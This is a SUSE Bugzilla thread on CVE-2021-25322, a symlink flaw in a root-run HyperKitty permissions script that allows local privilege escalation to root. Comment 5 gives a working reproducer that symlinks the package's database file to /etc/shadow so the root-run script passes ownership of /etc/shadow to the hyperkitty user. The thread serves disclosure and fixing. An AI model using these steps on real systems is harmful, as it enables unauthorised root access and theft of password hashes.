~~Bug 1182373 - (CVE-2021-25322) VUL-0: CVE-2021-25322: python-HyperKitty: hyperkitty-permissions.sh used during %post allows local privilege escalation from hyperkitty user to root~~

Status: RESOLVED FIXED

Classification: Novell Products
Product: SUSE Security Incidents
Component: Audits
Version: unspecified
Hardware: Other Other

Priority: P3 - Medium **Severity**: Normal
Target Milestone: ---
Assigned To: Andreas Schneider
QA Contact: Security Team bot

URL:
Whiteboard:
Keywords:

Depends on:
Blocks: ~~1180875~~
Show dependency tree / graph

- Create test case
- Clone This Bug

Reported: 2021-02-17 14:31 UTC by Matthias Gerstner
Modified: 2021-06-22 11:53 UTC (History)
CC List: 10 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this bug.

Matthias Gerstner 2021-02-17 14:31:06 UTC — Description

```
+++ This bug was initially created as a clone of ~~Bug 1180875~~

We are currently reviewing checked-in scripts and sources in OBS for security
issues.

In python-HyperKitty the script hyperkitty-permissions.sh is installed along
with the package and is also invoked in the %post section of the
HyperKitty-web package.

In particular this script performs recursive ownership changes and ACL
settings as root on user controlled directories in /var/lib/hyperkitty/data,
/var/log/hyperkitty and /srv/www/webapps/mailman/hyperkitty/static/CACHE.

Since these directories are owned by the hyperkitty and/or hyperkitty-admin
users they can stage symlink attacks to pass ownership of arbitrary files in
the system to themselves. A compromised hyperkitty or hyperkitty-admin account
might therefore be able to perform a local root exploit.

Please perform safe operations here. For example:

- only perform the changes in ownership if the ownership does *not* match i.e.
  don't do it unconditionally.
- pass ownership of the root directory last.
- pass switches like -P to setfacl and -h to chown to make it not follow
  symbolic links.
- using `setpriv` or `su` to drop privileges to the owner of the root of the
  directory tree.

If this script is SUSE specific then we will have to assign a SUSE CVE for
this issue. Otherwise please tell us who upstream is.
```

Andreas Schneider 2021-02-17 15:11:58 UTC — Comment 1

```
The script is SUSE-specific. IIRC correctly the same script is in postorius.


I wont be able to look into this before next week. If someone else wants to do it
feel free to take over.
```

Matthias Gerstner 2021-02-18 09:24:18 UTC — Comment 2

```
(In reply to asn@cryptomilk.org from comment #1)
> The script is SUSE-specific. IIRC correctly the same script is in postorius.


Indeed. That would have been the next package I would have inspected, because
we work in alphabetical order and it comes right after python-HyperKitty ;-).
I will open a separate bug for that right away.
```

Marcus Rückert 2021-02-23 14:03:57 UTC — Comment 3

```
~ » sudo podman images
REPOSITORY                                                  TAG     IMAGE ID
CREATED       SIZE
registry.opensuse.org/opensuse/leap                         latest
95dab51edb8c  39 hours ago  108 MB

~ » sudo podman run -ti --rm 95dab51edb8c bash
```

```
0ac89398f97a:/ # zypper in util-linux
Retrieving repository 'Non-OSS Repository' metadata
.....................................................................................
[done]
Building repository 'Non-OSS Repository' cache
.....................................................................................
[done]
Retrieving repository 'Main Repository' metadata
.....................................................................................
[done]
Building repository 'Main Repository' cache
.....................................................................................
[done]
Retrieving repository 'Main Update Repository' metadata
.....................................................................................
[done]
Building repository 'Main Update Repository' cache
.....................................................................................
[done]
Retrieving repository 'Update Repository (Non-Oss)' metadata
.....................................................................................
[done]
Building repository 'Update Repository (Non-Oss)' cache
.....................................................................................
[done]
Loading repository data...
Reading installed packages...
'util-linux' is already installed.
No update candidate for 'util-linux-2.33.1-lp152.5.6.1.x86_64'. The highest
available version is already installed.
Resolving package dependencies...
Nothing to do.
0ac89398f97a:/ # zypper in shadow
Loading repository data...
Reading installed packages...
'shadow' is already installed.
No update candidate for 'shadow-4.6-lp152.3.80.x86_64'. The highest available
version is already installed.
Resolving package dependencies...
Nothing to do.
0ac89398f97a:/ # cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
0ac89398f97a:/ # groupadd -r foo ; useradd -r -g foo foo
0ac89398f97a:/ # mkdir /home/foo
0ac89398f97a:/ # ln -s /etc/passwd /home/foo/
0ac89398f97a:/ # chown -R /home/foo/
chown: missing operand after '/home/foo/'
Try 'chown --help' for more information.
0ac89398f97a:/ # chown -R foo: /home/foo/
0ac89398f97a:/ # find /home/foo/ -ls
  1710289      4 drwxr-xr-x   2  foo      foo          4096 Feb 23 13:55 /home/foo/
  1710291      0 lrwxrwxrwx   1  foo      foo            11 Feb 23 13:55
/home/foo/passwd -> /etc/passwd
0ac89398f97a:/ # ls -ld /etc/passwd
-rw-r--r-- 1 root root 67 Feb 23 13:54 /etc/passwd
0ac89398f97a:/ # cd /home/foo/
0ac89398f97a:/home/foo # touch file1; ln -s file1 link1; chown someuser link1; ls -
lh file1
chown: invalid user: 'someuser'
-rw-r--r-- 1 root root 0 Feb 23 13:58 file1
0ac89398f97a:/home/foo # touch file1; ln -s file1 link1; chown foo^Cink1; ls -lh
file1
0ac89398f97a:/home/foo # chown foo link1
0ac89398f97a:/home/foo # ls -lh file
ls: cannot access 'file': No such file or directory
0ac89398f97a:/home/foo # ls -lh file1
-rw-r--r-- 1 foo root 0 Feb 23 13:58 file1
0ac89398f97a:/home/foo # ls -ld link1
lrwxrwxrwx 1 root root 5 Feb 23 13:58 link1 -> file1
0ac89398f97a:/home/foo #
```

I see the same behavior in a TW container.

Comment 4

(In reply to mrueckert@suse.com from comment #3)

> 0ac89398f97a:/ # chown -R foo: /home/foo/
> 0ac89398f97a:/ # find /home/foo/ -ls
>   1710289   4 drwxr-xr-x   2 foo   foo   4096 Feb 23 13:55 /home/fc
>   1710291   0 lrwxrwxrwx   1 foo   foo   11 Feb 23 13:55 /home/fc
> 0ac89398f97a:/ # ls -ld /etc/passwd
> -rw-r--r-- 1 root root 67 Feb 23 13:54 /etc/passwd

chown and related utilities indeed do not *intend* to follow symlinks in
recursive operations. But this does not take into account any possible race
conditions that might occur while the recursive operation is taking place.

Even then most standard utilities use safe system call sequences these days
that should prevent any damage from happening when a local user tries to
exploit race conditions.

Because this is a complex area on both, the kernel and the userspace end, it
is best *not* to rely on this operation being safe. Also changing some
seemingly minor aspect of the environment (e.g. the target path listed on the
command line) can quickly change the situation again, so it is error prone.

> 0ac89398f97a:/ # cd /home/foo/

[...]

> 0ac89398f97a:/home/foo # touch file1; ln -s file1 link1; chown foo^Cink1; ls -lh
> 0ac89398f97a:/home/foo # chown foo link1

[...]

> 0ac89398f97a:/home/foo # ls -lh file1
> -rw-r--r-- 1 foo root 0 Feb 23 13:58 file1
> 0ac89398f97a:/home/foo # ls -ld link1

```
> lrwxrwxrwx 1 root root 5 Feb 23 13:58 link1 -> file1
> 0ac89398f97a:/home/foo #
```

Here the "exploit" worked. For the link explicitly listed on the command line `chown` followed the symlink and changed the ownership of "file1" to foo:root.

Matthias Gerstner 2021-02-25 09:20:52 UTC Comment 5

Since there seems to be some unclarity how to reproduce this I am posting a simple reproducer for a Tumbleweed live system:

1) install the involved packages

```
root# zypper in HyperKitty-web python3-HyperKitty
```

2) become the hyperkitty-admin user and emulate an attacker:

```
root# sudo -u hyperkitty-admin /bin/bash
hyperkitty-admin$ cd /var/lib/hyperkitty/data
hyperkitty-admin$ ls -lh
 total 480K
 -rw-rw----+ 1 hyperkitty hyperkitty 480K 25. Feb 09:59 hyperkitty.db
hyperkitty-admin$ rm hyperkitty.db
hyperkitty-admin$ ln -s /etc/shadow hyperkitty.db
hyperkitty-admin$ ls -lh . /etc/shadow
-rw-r-----  1 root       shadow     1.2K 25. Feb 09:58 /etc/shadow

.:
total 0
lrwxrwxrwx 1 hyperkitty hyperkitty 11 25. Feb 10:03 hyperkitty.db ->
/etc/shadow
```

3) as root run the fix-permissions script (this would also happen during any RPM installation/update of the hyperkitty package):

```
root# /usr/sbin/hyperkitty-fix-permissions
```

4) as hyperkitty-admin from step 2) inspect the results:

```
hyperkitty-admin$ ls -lh . /etc/shadow
-rw-rw----  1 hyperkitty hyperkitty 1.2K 25. Feb 09:58 /etc/shadow

.:
total 0
lrwxrwxrwx 1 hyperkitty hyperkitty 11 25. Feb 10:03 hyperkitty.db ->
/etc/shadow
```

So for the hyperkitty-admin we have a pretty simple local root exploit. Basically the hyperkitty user can do the same. However, hyperkitty is not allowed to enter /var/lib/hyperkitty, because of these two lines:

```
chown   hyperkitty-admin:hyperkitty-admin          ${LIB_DIR}
chmod   u=rwX,g=rwX,o=                             ${LIB_DIR}
```

I am not sure if this makes sense at all, to deny hyperkitty access to ${LIB_DIR} but pass ownership ${LIB_DIR}/data to hyperkitty. This only makes sense if hyperkitty has access to the sub-directory via a chroot or something similar. If this is the case, then the hyperkitty user can stage the same attack as described above (although it would still need to escape from the chroot to make use of the results).

Matthias Gerstner 2021-04-01 11:17:47 UTC Comment 6

Is there any progress here? What is the current plan?

According to our openSUSE disclosure policy we can keep this private no longer than 90 days, resulting in a publication of the finding after 2021-05-18.

Matthias Gerstner 2021-04-01 11:18:15 UTC Comment 7

Internal CRD: 2021-05-18 or earlier

Matthias Gerstner 2021-04-29 12:11:04 UTC Comment 8

So ~3 more weeks until we need to make this public. Do you need further help with this?

Matthias Gerstner 2021-05-19 08:41:15 UTC Comment 9

CRD has been crossed, publishing the bug.

Matej Cepl 2021-05-19 09:17:01 UTC Comment 10

Isn’t this the same as ~~bug 1167068~~? Wouldn’t the same fix (i.e., don’t run a script, just set rights correctly in %files) help?

Matthias Gerstner 2021-05-19 10:18:35 UTC Comment 11

(In reply to Matej Cepl from comment #10)

> Isn’t this the same as ~~bug 1167068~~? Wouldn’t the same fix (i.e., don’t run a
> script, just set rights correctly in %files) help?

I don't think this is the same type of bug. That bug was about a functionality issue, this bug here is about a security issue involved with the hyperkitty-permissions.sh script checked in into the package. This script is attempting to "repair" or enforce certain permissions, and this logic is causing security issues.

It would help to remove the script, of course, but we need an active maintainer to take responsibility for such a choice. Security cannot take over this duty, we can just advise and review.

Andreas Schneider 2021-05-19 16:24:28 UTC Comment 12

The right thing to do would be to generate the static files during the rpm build process and the script should if needed just fix the permissions to the sqlite database. I might have time to fix this next week but I don't have time before.

Andreas Schneider 2021-05-19 16:25:47 UTC Comment 13

As suse is using this software to run their own mailing list I would expect that you have a maintainer for it.

Johannes Segitz 2021-05-20 09:26:04 UTC Comment 14

Please use CVE-2021-25322 for this

Petr Gajdos 2021-05-20 13:35:08 UTC Comment 15

Andreas,

as you volunteered to add this script, I am asking you. Unfortunately I do not use mailman/HyperKitty/postorius, I need to understand why such thing beyond rpm mechanism is needed, in other words, what would happen when this script would not run upon every package installation or upgrade. Could you please advise?

Andreas Schneider 2021-05-25 19:05:10 UTC Comment 16

https://build.opensuse.org/request/show/895418

Matthias Gerstner 2021-05-26 08:09:54 UTC Comment 17

(In reply to asn@cryptomilk.org from comment #16)
> https://build.opensuse.org/request/show/895418

Thank you for the submission.

You are still packaging the hyperkitty-permissions.sh script. So this is intended for end users to invoke?

There are still missing switches to avoid following symlinks e.g. `-h` for chown. For operations on files below non-root owned directories a privilege drop to the target user needs to happen to make it fool proof. E.g.:

```
    # make sure execution aborts if anything goes wrong in-between
    set -e

    # first make sure the root directory ownership is correct
    chown -h hyperkitty-admin ${LIB_DIR}

    # now do the same for DATA_DIR sub-dir which is owned by a different user
    chown -h hyperkitty ${DATA_DIR}

    # perform chmod only as the unprivileged user, because chmod always
    # follows symlinks found in command line arguments
    setpriv --ruid hyperkitty --rgid hyperkitty --init-groups --reset-env chmod
u=rwX,g=rwX,o= ${DATA_DIR}
```

Andreas Schneider 2021-05-26 08:36:52 UTC Comment 18

The thing is that you can run certain commands to manage the install. E.g. to create the first database (sqlite by default) and do upgrades of the database. It might be possible to get rid of the hyperkitty-admin user, but then we still need the permission script to fix permissions on files.

Also this needs to be tested and I'm testing this on a production system right now.

Also my time is limited, more eyes would help to look into this.

Matthias Gerstner 2021-05-26 13:10:20 UTC Comment 19

(In reply to asn@cryptomilk.org from comment #18)
> The thing is that you can run certain commands to manage the install. E.g.
> to create the first database (sqlite by default) and do upgrades of the
> database. It might be possible to get rid of the hyperkitty-admin user, but
> then we still need the permission script to fix permissions on files.

My remarks are not about getting rid of the hyperkitty-admin user, they are about performing dangerous operations in a safe way.

Why do permissions have to be "fixed"? I don't fully get that.

When the script makes sure that no service is currently running and already working on these files (i.e. CWD set to somewhere below /var/lib/hyperkitty) then an approach could also be to deny access to the the root directory:

```
    chown root:root /var/lib/hyperkitty
    chmod 700 /var/lib/hyperkitty

    # now perform all the "fix" operations below /var/lib/hyperkitty

    # turn ownership of the root back to the desired values
    chown hyperkitty:hyperkitty /var/lib/hyperkitty
    chmod 755 /var/lib/hyperkitty
```

Matthias Gerstner 2021-06-22 11:53:00 UTC Comment 20

The permissions.sh script has been completely removed from Factory and is also not present in the Leap:15.2 codestream. This bug can be closed.
